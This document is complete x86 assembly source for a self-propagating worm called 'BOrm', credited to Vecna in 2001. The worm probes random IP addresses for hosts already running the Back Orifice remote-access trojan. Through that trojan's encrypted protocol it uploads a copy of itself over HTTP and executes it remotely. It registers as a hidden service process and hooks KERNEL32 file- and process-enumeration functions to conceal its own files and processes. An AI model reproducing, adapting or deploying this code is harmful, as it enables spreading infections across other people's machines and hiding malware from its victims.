;BOrm - Back Orifice Worm ;(c) Vecna 2001 .586p .model flat locals ofs equ offset dwo equ dword ptr wo equ word ptr by equ byte ptr callW macro api extrn api:PROC call api endm .xlist include win32api.inc include useful.inc include mz.inc include pe.inc include socket.inc .list include borm.inc .data copyright db "BOrm by Vecna (c) 2001",0 IF USE_BO_PSW EQ TRUE g_password db "vaca",0 ENDIF fff_entry: push dwo [esp+8] push dwo [esp+8] call swap_fff call _fff call swap_fff cmp eax, -1 je @@error call check_name2 jnz @@error push dwo [esp+8] push dwo [esp+8] call fnf_entry @@error: ret 2*4 fnf_entry: @@retry: push dwo [esp+8] push dwo [esp+8] call swap_fnf call _fnf call swap_fnf test eax, eax jz @@error call check_name2 jz @@retry @@error: ret 2*4 p32f_entry: push dwo [esp+8] push dwo [esp+8] call swap_p32f call _p32f call swap_p32f test eax, eax jz @@error call check_name jnz @@error push dwo [esp+8] push dwo [esp+8] call p32n_entry @@error: ret 2*4 p32n_entry: @@retry: push dwo [esp+8] push dwo [esp+8] call swap_p32n call _p32n call swap_p32n test eax, eax jz @@error call check_name jz @@retry @@error: ret 2*4 _fff: db 0b8h fff dd 0 jmp eax _fnf: db 0b8h fnf dd 0 jmp eax _p32f: db 0b8h p32f dd 0 jmp eax _p32n: db 0b8h p32n dd 0 jmp eax check_name2: pushad mov esi, [esp+(8*4)+8+4] add esi, 44 jmp slash check_name: pushad mov esi, [esp+(8*4)+8+4] add esi, 36 slash: mov ebx, esi @@nxt_char: lodsb cmp al, "\" je slash @@no_slash: test al, al jnz @@nxt_char @@cmp_name: mov ebx,[ebx] or ebx,20202020h sub ebx, "mrob" @@isnot: popad ret delta: call @@tmpdelta @@tmpdelta: pop ebp sub ebp, ofs @@tmpdelta ret swap_fff: pushad call delta lea esi, [ebp+fff_code] mov edi, [ebp+fff] jmp swap_p32n__swap swap_fnf: pushad call delta lea esi, [ebp+fnf_code] mov edi, [ebp+fnf] jmp swap_p32n__swap swap_p32f: pushad call delta lea esi, [ebp+p32f_code] mov edi, [ebp+p32f] jmp swap_p32n__swap swap_p32n: pushad call delta lea esi, [ebp+p32n_code] mov edi, [ebp+p32n] swap_p32n__swap: push dwo [edi] push dwo [edi+4] push dwo [esi] push dwo [esi+4] pop dwo [edi+4] pop dwo [edi] pop dwo [esi+4] pop dwo [esi] popad ret p32n_code: p32f_code equ p32n_code+8 fff_code equ p32n_code+16 fnf_code equ p32n_code+24 implant_size equ p32n_code-fff_entry kernel32dll db 'KERNEL32.DLL',0 __fff db "FindFirstFileA",0 __fnf db "FindNextFileA",0 __p32f db "Process32First",0 __p32n db "Process32Next",0 bo_reg db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders",0 bo_name db "borm.exe",0 bo_port db "12345" bo_null db 0 bo_http_header db "POST /upload.cgi\ HTTP/1.0 ",13,10 bo_http_header_size equ $-bo_http_header bo_mime db "Content-Type: multipart/form-data; boundary=----_BOr" bnd_cr dd "_23m" xor "fab1" db 13,10 db "Content-length: " bo_size db "9999",13,10,13,10 bo_bnd db "----_BOr" bnd_cr2 dd "_23m" xor "fab1" bo_bnd_size equ $-bo_bnd db 13,10,'Content-Disposition: form-data; name="filename"; filename="borm.exe"',13,10 db 'Content-Type: application/octet-stream',13,10,13,10 bo_mime_size equ $-bo_mime ip_mask_table: ;DDCCBBAA dd 0FFFFFFFFh ;0 *.*.*.* X=local dd 0FFFFFF00h ;1 *=random dd 0FFFFFF00h ;2 X.*.*.* dd 0FFFFFF00h ;3 dd 0FFFFFF00h ;4 dd 0FFFF0000h ;5 X.X.*.* dd 0FFFF0000h ;6 dd 0FFFF0000h ;7 this_ip dd ? seed dd ? bo_ip dd ? bo_seed dd ? bo_dropsize dd ? bo_dropper dd ? vxdcall0 dd ? .code getkey: IF USE_BO_PSW EQ TRUE pushad mov esi, ofs g_password push esi sub ebx, ebx mov ecx,-1 @@count: inc ecx lodsb movsx eax,al add ebx,eax ;z+= g_password[x]; test eax,eax jnz @@count @@done_count: pop esi test ecx,ecx jnz @@psw mov ebx,31337 jmp @@return @@psw: sub ebp,ebp @@chksum: lodsb movsx eax,al lea edx,[ecx+1] imul eax,edx bt ebp,0 jnc @@odd sub ebx,eax jmp @@adjust @@odd: add ebx,eax @@adjust: and ebx, 7fffh ;z = z%RAND_MAX; inc ebp loop @@chksum @@done_chksum: imul ebx,ebp ;z = (z * y)%RAND_MAX and ebx, 7fffh @@return: mov [bo_seed],ebx popad ELSE mov [bo_seed],31337 ENDIF ret BOcrypt: ;size@4/buffer@8 pushad mov ecx, [esp.cPushad.Arg1] test ecx,ecx jz @@done mov esi, [esp.cPushad.Arg2] call getkey @@crypt: mov eax,[bo_seed] imul eax,eax,214013 add eax,2531011 mov [bo_seed],eax shr eax,8 lodsb xor al,ah mov [esi-1],al loop @@crypt @@done: popad ret 4*2 send_bo_ping: pushad sub esp, (MAGICSTRINGLEN+(4*2)+2)+16+BUFFSIZE mov esi,esp mov edi,esi ;header(2D)+size_of_packet(D)+count(D)+TYPE(B) mov eax,"Q*!*" stosd mov eax,"?YTW" stosd mov eax, MAGICSTRINGLEN+(4*2)+2 stosd mov eax,-1 stosd mov eax, TYPE_PING stosw ;+0 push esi push MAGICSTRINGLEN+(4*2)+2 call BOcrypt mov ebx,edi mov eax, AF_INET stosw mov eax, PORT xchg al,ah stosw call gen_ip stosd sub eax,eax stosd stosd push IPPROTO_UDP push SOCK_DGRAM push AF_INET callW socket push eax ;sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host)) push 16 push ebx push 0 push MAGICSTRINGLEN+(4*2)+2 push esi push eax callW sendto mov esi,[esp] ;esi==socket push esi push 1 mov eax,esp push 0 push 4 ;wait 4 seconds push esp push 0 push 0 push eax push 0 callW select add esp,4*4 dec eax jnz @@error ;recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize) push 0 push 0 push 0 push BUFFSIZE push edi push esi callW recvfrom push edi push eax call BOcrypt xchg esi, edi ;edi==socket lodsd sub eax,"Q*!*" jnz @@error lodsd sub eax,"?YTW" jnz @@error cmp by [esi+8],TYPE_PING jnz @@error mov eax,[ebx.sin_addr] mov [bo_ip],eax sub esp,200h mov esi,esp push ofs bo_null push ofs bo_reg push TYPE_REGISTRYENUMVALS call sendpacket @@reg_redo: call getinput test eax,eax jnz @@error_esp cmp dwo [esi], 'mmoC' jne @@reg_checkend cmp dwo [esi+4], 'S no' jne @@reg_checkend cmp dwo [esi+8], 'trat' jne @@reg_checkend push edi mov edi,esi push esi @@bo_reg_start: lodsb sub al, "'" jnz @@bo_reg_start @@reg_copy: lodsb cmp al, "'" jne @@bo_reg_skip sub eax,eax @@bo_reg_skip: stosb test al,al jnz @@reg_copy pop esi add esi, 100h pop edi @@reg_checkend: cmp dwo [esi],'fo d' ;"End of..." jne @@reg_redo lea eax,[esi-100h] push eax push ofs bo_port push TYPE_HTTPENABLE call sendpacket call getinput push 1*1000 callW Sleep ;wait remote HTTP server startup pushad sub esp, 200h mov esi, esp push IPPROTO_IP push SOCK_STREAM push AF_INET callW socket mov ebx, eax push 0 push 0 push dwo [bo_ip] push 039300002h mov eax, esp push 10h push eax push ebx callW connect ;connect to www server in port 12345 add esp, 4*4 test eax, eax jnz @@error_http push 0 push bo_http_header_size push ofs bo_http_header push ebx callW send ;send http POST header push 0 push dwo [bo_dropsize] push dwo [bo_dropper] push ebx callW send ;send mime binary virus mov eax,esp push 0 push 200h push eax push ebx callW recv push 2 ;SD_BOTH push ebx callW shutdown @@error_http: push ebx callW closesocket push 3*1000 callW Sleep ;wait da stuff complete add esp, 200h popad push ofs bo_null push ofs bo_null push TYPE_HTTPDISABLE call sendpacket ;disable http server call getinput sub esi, 100h push ofs bo_null push esi pushad @@bo_search_endz: lodsb test al,al jnz @@bo_search_endz mov by [esi-1],'\' mov edi, ofs bo_name xchg edi,esi @@bo_copy_name: lodsb stosb test al,al jnz @@bo_copy_name popad push TYPE_PROCESSSPAWN call sendpacket ;execute remote copy call getinput @@error_esp: add esp, 200h @@error: callW closesocket add esp, (MAGICSTRINGLEN+(4*2)+2)+16+BUFFSIZE popad ret sendpacket: ;type/arg1/arg2 pushad ;ebx==sock/edi==socket mov esi,[esp.cPushad.Arg3] push esi callW lstrlenA mov ebp, eax mov esi,[esp.cPushad.Arg2] push esi callW lstrlenA lea ebp,[eax+ebp+8+(4*2)+3] push ebp push 40h callW GlobalAlloc test eax,eax jz @@done push eax mov edi, eax ;size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2) mov eax,"Q*!*" stosd mov eax,"?YTW" stosd mov eax, ebp stosd mov eax,-1 stosd mov eax, [esp.cPushad.Arg1.Pshd] stosb push esi callW lstrlenA mov ecx, eax rep movsb mov eax,ecx stosb mov esi,[esp.cPushad.Arg3.Pshd] push esi callW lstrlenA mov ecx, eax rep movsb push dwo [esp] push ebp call BOcrypt ;sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host) push 16 push dwo [esp.Pushad_ebx.Pshd.Pshd] ;Pushad_ebx push 0 push ebp push dwo [esp.(Pshd*4)] ;[esp] push dwo [esp.Pushad_edi.(Pshd*6)] ;pushad_edi callW sendto @@done_free: callW GlobalFree @@done: popad ret 3*4 getinput: pushad ;esi==outbuffer/edi==socket sub esp, BUFFSIZE mov edi,esp mov dwo [esi],0 mov esi, dwo [esp.Pushad_edi+BUFFSIZE] ;pushad_edi push esi push 1 mov eax,esp push 0 push 4 ;wait 4 seconds push esp push 0 push 0 push eax push 0 callW select add esp,4*4 dec eax jnz @@error ;recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize) push 0 push 0 push 0 push BUFFSIZE push edi push esi callW recvfrom push edi push eax call BOcrypt xchg esi, edi ;edi==socket lodsd sub eax,"Q*!*" jnz @@error lodsd sub eax,"?YTW" jnz @@error add esi,11 mov edi,[esp.Pushad_esi+BUFFSIZE] @@bo_cpy: lodsb stosb test al,al jnz @@bo_cpy sub eax,eax @@error: add esp, BUFFSIZE mov [esp.Pushad_eax],eax popad ret gen_ip: pushad @@get_ip: call random_ip_byte mov bh, al ; d call random_ip_byte mov bl, al ; c shl ebx, 16 call random_ip_byte mov bh, al ; b call random_ip_byte mov bl, al ; a call random_eax and eax, 7 mov eax, [ofs ip_mask_table+eax*4] and ebx, eax not eax and eax, [this_ip] or ebx, eax cmp bl, 127 je @@get_ip cmp ebx, [this_ip] je @@get_ip mov [esp+7*4],ebx popad ret random_ip_byte: call random_eax cmp al, 0 je random_ip_byte cmp al, 255 je random_ip_byte ret random_eax: push ecx push edx @@random: mov eax,[seed] mov ecx,41c64e6dh mul ecx add eax,3039h and eax,7ffffffh mov [seed], eax pop edx pop ecx ret bo_thread: ; pushad @@retry: call send_bo_ping push 1000*THREADZ callW Sleep jmp @@retry ; popad ; ret 4 main: sub esp, 200h mov esi, esp xor dwo [bnd_cr],"fab1" xor dwo [bnd_cr2],"fab1" push esi push 101h callW WSAStartup push 200h push esi callW gethostname push esi callW gethostbyname mov eax, [eax+16] mov eax, [eax] mov [this_ip], eax push 200h push esi push 0 callW GetModuleFileNameA push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ push esi callW CreateFileA mov ebx, eax push 0 push ebx callW GetFileSize mov ebp,eax add eax, bo_mime_size+bo_bnd_size+8 mov [bo_dropsize],eax push 10 pop ecx mov edi, ofs bo_size push -1 @@div: sub edx,edx div ecx push edx test eax,eax jnz @@div @@pop: pop eax inc eax jz @@done add al, "0"-1 stosb jmp @@pop @@done: push dwo [bo_dropsize] push 40h callW GlobalAlloc mov [bo_dropper], eax mov edi, eax mov ecx, bo_mime_size mov esi, ofs bo_mime rep movsb push 0 mov eax,esp push 0 push eax push ebp push edi push ebx callW ReadFile pop eax add edi,eax mov ecx, bo_bnd_size+4 mov esi, ofs bo_bnd-4 rep movsb mov eax, "--" stosd push 1 push 0 callW RegisterServiceProcess push ofs kernel32dll callW GetModuleHandleA mov ebx, eax mov eax, [ebx.MZ_lfanew] lea edi, [eax.ebx-4] mov esi, [edi+78h+4] mov esi, [esi+ebx+1ch] mov ecx, [esi+ebx] add ecx, ebx mov [vxdcall0], ecx extrn GetProcAddress:PROC mov esi, ofs GetProcAddress push ofs __fff push ebx push ofs __fnf push ebx push ofs __p32f push ebx push ofs __p32n push ebx call esi mov dwo [p32n],eax call esi mov dwo [p32f],eax call esi mov dwo [fnf],eax call esi mov dwo [fff],eax push edi call deprotect cmp dwo [edi], -1 je exit mov dwo [edi], -1 movzx ecx, wo [edi+4+6] lea esi, [edi+4+0f8h] mov edx, implant_size+32 @@section_loop: mov eax, [esi+36] and eax, 0C0000040h cmp eax, 0C0000040h jne @@next_section mov eax, [esi+16] mov edi, [esi+8] sub eax, edi cmp eax, edx jb @@next_section add [esi+8], edx add edi, [esi+12] add edi, ebx jmp @@copy_code @@next_section: add esi, 40 loop @@section_loop jmp exit @@copy_code: mov ecx,edx mov edx, edi mov esi, ofs fff_entry cld rep movsb mov edi, [fff] lea esi, [edx+(fff_code-fff_entry)] call patch mov edi, [fnf] lea esi, [edx+(fnf_code-fff_entry)] call patch add dwo [edi-4], (fnf_entry-fff_entry) mov edi, [p32f] lea esi, [edx+(p32f_code-fff_entry)] call patch add dwo [edi-4], (p32f_entry-fff_entry) mov edi, [p32n] lea esi, [edx+(p32n_code-fff_entry)] call patch add dwo [edi-4], (p32n_entry-fff_entry) push THREADZ pop ecx @@fork: push ecx push 0 push esp push 0 push 0 push ofs bo_thread push 0 push 0 callW CreateThread pop eax pop ecx loop @@fork push -1 callW Sleep exit: push -1 callW ExitProcess patch: push edi xchg esi, edi movsd movsd mov edi, [esp] call deprotect mov al, 0e9h stosb stosd mov eax, edx sub eax, edi mov [edi-4], eax ret deprotect: pushad mov eax, [esp+(8*4)+4] shr eax, 12 push 020060000h push ebp push 1 push eax push 00001000dh call dwo [vxdcall0] popad ret 4 end main